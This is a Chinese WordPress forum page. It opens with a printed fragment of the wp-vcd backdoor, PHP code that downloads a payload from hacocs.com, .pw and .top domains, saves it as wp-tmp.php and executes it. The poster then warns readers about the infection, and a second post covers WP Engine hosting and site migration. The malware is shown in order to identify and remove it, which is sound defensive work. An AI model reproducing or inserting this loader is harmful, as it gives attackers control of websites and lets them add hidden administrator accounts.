$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。

关于WP Engine空间

WordPressLeo 发表了文章 • 1 个评论 • 224 次浏览 • 2018-12-10 10:56 • 来自相关话题

细心的朋友可能会发现,其实WP正是WordPress的简称,这也就意味着WP Engine与其他美国主机商是不一样的,因为WP Engine只提供WordPress主机产品。
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)




2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
 
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。 查看全部
细心的朋友可能会发现,其实WP正是WordPress的简称,这也就意味着WP Engine与其他美国主机商是不一样的,因为WP Engine只提供WordPress主机产品。
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
1.png

2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
 
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。